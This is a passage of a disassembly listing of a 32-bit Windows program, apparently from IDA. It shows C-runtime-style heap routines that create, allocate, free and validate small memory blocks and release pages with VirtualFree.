
loc_420007:				; CODE XREF: sub_41FFC0+29j
		push	9
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4EFF80
		push	ecx
		call	dword_4F1480	; RtlFreeHeap


loc_420024:				; CODE XREF: sub_41FFC0+Aj
					; sub_41FFC0+45j
		mov	esp, ebp
		pop	ebp
		retn
sub_41FFC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420030	proc near		; CODE XREF: sub_41A090+30p
					; .nsp0:004200B3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0FFFFFFFEh
		push	9
		call	sub_41FB40
		add	esp, 4
		call	sub_421830
		test	eax, eax
		jge	short loc_420055
		mov	[ebp+var_4], 0FFFFFFFCh


loc_420055:				; CODE XREF: sub_420030+1Cj
		push	9
		call	sub_41FBE0
		add	esp, 4
		push	0
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1440	; HeapValidate
		test	eax, eax
		jnz	short loc_42009D
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_420096
		call	sub_4248B0
		mov	dword ptr [eax], 78h
		call	sub_4248A0
		mov	dword ptr [eax], 28h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_420096:				; CODE XREF: sub_420030+4Cj
		mov	[ebp+var_4], 0FFFFFFFCh


loc_42009D:				; CODE XREF: sub_420030+41j
					; sub_420030+64j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_420030	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_420030
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200C0	proc near		; CODE XREF: .nsp0:0041EA3Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	dword_4F1488	; HeapCreate
		mov	dword_4EFF80, eax
		cmp	dword_4EFF80, 0
		jnz	short loc_4200EC
		xor	eax, eax
		jmp	short loc_42010B
; ---------------------------------------------------------------------------


loc_4200EC:				; CODE XREF: sub_4200C0+26j
		call	sub_4201E0
		test	eax, eax
		jnz	short loc_420106
		mov	ecx, dword_4EFF80
		push	ecx
		call	dword_4F1484	; HeapDestroy
		xor	eax, eax
		jmp	short loc_42010B
; ---------------------------------------------------------------------------


loc_420106:				; CODE XREF: sub_4200C0+33j
		mov	eax, 1


loc_42010B:				; CODE XREF: sub_4200C0+2Aj
					; sub_4200C0+44j
		pop	ebp
		retn
sub_4200C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4EFF7C
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_420130
; ---------------------------------------------------------------------------


loc_420127:				; CODE XREF: .nsp0:00420184j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_420130:				; CODE XREF: .nsp0:00420125j
		mov	edx, [ebp-4]
		cmp	edx, dword_4EFF78
		jge	short loc_420186
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4F148C	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	dword_4F148C	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1480	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_420127
; ---------------------------------------------------------------------------


loc_420186:				; CODE XREF: .nsp0:00420139j
		mov	edx, dword_4EFF7C
		push	edx
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1480	; RtlFreeHeap
		mov	ecx, dword_4EFF80
		push	ecx
		call	dword_4F1484	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_451498
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 3F8h
		jbe	short loc_4201D0
		xor	eax, eax
		jmp	short loc_4201DD
; ---------------------------------------------------------------------------


loc_4201D0:				; CODE XREF: .nsp0:004201CAj
		mov	eax, [ebp+8]
		mov	dword_451498, eax
		mov	eax, 1


loc_4201DD:				; CODE XREF: .nsp0:004201CEj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201E0	proc near		; CODE XREF: sub_4200C0:loc_4200ECp
		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, dword_4EFF80
		push	eax
		call	dword_4F1478	; RtlAllocateHeap
		mov	dword_4EFF7C, eax
		cmp	dword_4EFF7C, 0
		jnz	short loc_420208
		xor	eax, eax
		jmp	short loc_420237
; ---------------------------------------------------------------------------


loc_420208:				; CODE XREF: sub_4201E0+22j
		mov	ecx, dword_4EFF7C
		mov	dword_4EFF70, ecx
		mov	dword_4EFF74, 0
		mov	dword_4EFF78, 0
		mov	dword_4EFF68, 10h
		mov	eax, 1


loc_420237:				; CODE XREF: sub_4201E0+26j
		pop	ebp
		retn
sub_4201E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420240	proc near		; CODE XREF: sub_41A4F0+30p
					; sub_41FD20+21p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4EFF78
		imul	eax, 14h
		mov	ecx, dword_4EFF7C
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, dword_4EFF7C
		mov	[ebp+var_8], edx


loc_420262:				; CODE XREF: sub_420240+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_42028F
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_420284
		mov	eax, [ebp+var_8]
		jmp	short loc_420291
; ---------------------------------------------------------------------------


loc_420284:				; CODE XREF: sub_420240+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_420262
; ---------------------------------------------------------------------------


loc_42028F:				; CODE XREF: sub_420240+28j
		xor	eax, eax


loc_420291:				; CODE XREF: sub_420240+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_420240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4202A0	proc near		; CODE XREF: sub_41A4F0+4Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_4202F1
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_4202F1
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_4202F1
		mov	[ebp+var_C], 1
		jmp	short loc_4202F8
; ---------------------------------------------------------------------------


loc_4202F1:				; CODE XREF: sub_4202A0+2Fj
					; sub_4202A0+39j ...
		mov	[ebp+var_C], 0


loc_4202F8:				; CODE XREF: sub_4202A0+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4202A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420300	proc near		; CODE XREF: sub_41FDD0+E8p
					; sub_41FDD0+168p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_1C]
		add	edx, [ebp+var_30]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+var_38]
		mov	ecx, [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx-4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_420498
		mov	edx, [ebp+var_14]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_42038F
		mov	[ebp+var_24], 3Fh


loc_42038F:				; CODE XREF: sub_420300+86j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_38]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_420471
		cmp	[ebp+var_24], 20h
		jnb	short loc_420406
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_420404
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_420404:				; CODE XREF: sub_420300+EAj
		jmp	short loc_420471
; ---------------------------------------------------------------------------


loc_420406:				; CODE XREF: sub_420300+A5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_420471
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_420471:				; CODE XREF: sub_420300+9Bj
					; sub_420300:loc_420404j ...
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_14]
		mov	[ebp+var_30], edx


loc_420498:				; CODE XREF: sub_420300+70j
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_4204B1
		mov	[ebp+var_28], 3Fh


loc_4204B1:				; CODE XREF: sub_420300+1A8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	loc_420615
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_C]
		mov	[ebp+var_34], edx
		mov	eax, [ebp+var_C]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_4204E1
		mov	[ebp+var_2C], 3Fh


loc_4204E1:				; CODE XREF: sub_420300+1D8j
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_28], edx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_420503
		mov	[ebp+var_28], 3Fh


loc_420503:				; CODE XREF: sub_420300+1FAj
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	loc_42060F
		mov	ecx, [ebp+var_34]
		mov	edx, [ebp+var_34]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4205F1
		cmp	[ebp+var_2C], 20h
		jnb	short loc_420586
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_420584
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_420584:				; CODE XREF: sub_420300+26Aj
		jmp	short loc_4205F1
; ---------------------------------------------------------------------------


loc_420586:				; CODE XREF: sub_420300+225j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4205F1
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4205F1:				; CODE XREF: sub_420300+21Bj
					; sub_420300:loc_420584j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx


loc_42060F:				; CODE XREF: sub_420300+209j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax


loc_420615:				; CODE XREF: sub_420300+1B9j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42062B
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_42073B


loc_42062B:				; CODE XREF: sub_420300+31Dj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42073B
		cmp	[ebp+var_28], 20h
		jnb	short loc_4206D4
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4206B2
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4206B2:				; CODE XREF: sub_420300+39Aj
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_42073B
; ---------------------------------------------------------------------------


loc_4206D4:				; CODE XREF: sub_420300+377j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_420712
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_420712:				; CODE XREF: sub_420300+3F5j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx


loc_42073B:				; CODE XREF: sub_420300+325j
					; sub_420300+36Dj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_4208C9
		cmp	dword_4EFF74, 0
		jz	loc_4208B8
		mov	eax, dword_4EFF6C
		shl	eax, 0Fh
		mov	ecx, dword_4EFF74
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4F148C	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4EFF6C
		shr	edx, cl
		mov	eax, dword_4EFF74
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4EFF74
		mov	[edx+8], ecx
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	edx, dword_4EFF6C
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4EFF74
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4EFF74
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_420816
		mov	edx, dword_4EFF74
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4EFF74
		mov	[ecx+4], eax


loc_420816:				; CODE XREF: sub_420300+500j
		mov	edx, dword_4EFF74
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_4208B8
		push	8000h
		push	0
		mov	eax, dword_4EFF74
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4F148C	; VirtualFree
		mov	edx, dword_4EFF74
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4EFF80
		push	ecx
		call	dword_4F1480	; RtlFreeHeap
		mov	edx, dword_4EFF78
		imul	edx, 14h
		mov	eax, dword_4EFF7C
		add	eax, edx
		mov	ecx, dword_4EFF74
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, dword_4EFF74
		add	edx, 14h
		push	edx
		mov	eax, dword_4EFF74
		push	eax
		call	sub_41D520
		add	esp, 0Ch
		mov	ecx, dword_4EFF78
		sub	ecx, 1
		mov	dword_4EFF78, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_4EFF74
		jbe	short loc_4208AC
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax


loc_4208AC:				; CODE XREF: sub_420300+5A1j
		mov	ecx, dword_4EFF7C
		mov	dword_4EFF70, ecx


loc_4208B8:				; CODE XREF: sub_420300+46Fj
					; sub_420300+520j
		mov	edx, [ebp+arg_0]
		mov	dword_4EFF74, edx
		mov	eax, [ebp+var_4]
		mov	dword_4EFF6C, eax


loc_4208C9:				; CODE XREF: sub_420300+462j
		mov	esp, ebp
		pop	ebp
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4208D0	proc near		; CODE XREF: sub_41FCA0+1Dp
					; sub_41FDD0+99p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, dword_4EFF78
		imul	eax, 14h
		mov	ecx, dword_4EFF7C
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_42091C
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_420931
; ---------------------------------------------------------------------------


loc_42091C:				; CODE XREF: sub_4208D0+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax


loc_420931:				; CODE XREF: sub_4208D0+4Aj
		mov	ecx, dword_4EFF70
		mov	[ebp+var_18], ecx


loc_42093A:				; CODE XREF: sub_4208D0+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_420966
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_42095B
		jmp	short loc_420966
; ---------------------------------------------------------------------------


loc_42095B:				; CODE XREF: sub_4208D0+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_42093A
; ---------------------------------------------------------------------------


loc_420966:				; CODE XREF: sub_4208D0+70j
					; sub_4208D0+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_420A4D
		mov	eax, dword_4EFF7C
		mov	[ebp+var_18], eax


loc_42097A:				; CODE XREF: sub_4208D0+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4EFF70
		jnb	short loc_4209A9
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_42099E
		jmp	short loc_4209A9
; ---------------------------------------------------------------------------


loc_42099E:				; CODE XREF: sub_4208D0+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_42097A
; ---------------------------------------------------------------------------


loc_4209A9:				; CODE XREF: sub_4208D0+B3j
					; sub_4208D0+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4EFF70
		jnz	loc_420A4D


loc_4209B8:				; CODE XREF: sub_4208D0+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_4209D6
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_4209CB
		jmp	short loc_4209D6
; ---------------------------------------------------------------------------


loc_4209CB:				; CODE XREF: sub_4208D0+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_4209B8
; ---------------------------------------------------------------------------


loc_4209D6:				; CODE XREF: sub_4208D0+EEj
					; sub_4208D0+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_420A27
		mov	eax, dword_4EFF7C
		mov	[ebp+var_18], eax


loc_4209E6:				; CODE XREF: sub_4208D0+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4EFF70
		jnb	short loc_420A07
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_4209FC
		jmp	short loc_420A07
; ---------------------------------------------------------------------------


loc_4209FC:				; CODE XREF: sub_4208D0+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_4209E6
; ---------------------------------------------------------------------------


loc_420A07:				; CODE XREF: sub_4208D0+11Fj
					; sub_4208D0+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4EFF70
		jnz	short loc_420A27
		call	sub_420E10
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_420A27
		xor	eax, eax
		jmp	loc_420E01
; ---------------------------------------------------------------------------


loc_420A27:				; CODE XREF: sub_4208D0+10Cj
					; sub_4208D0+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_420F20
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_420A4D
		xor	eax, eax
		jmp	loc_420E01
; ---------------------------------------------------------------------------


loc_420A4D:				; CODE XREF: sub_4208D0+9Cj
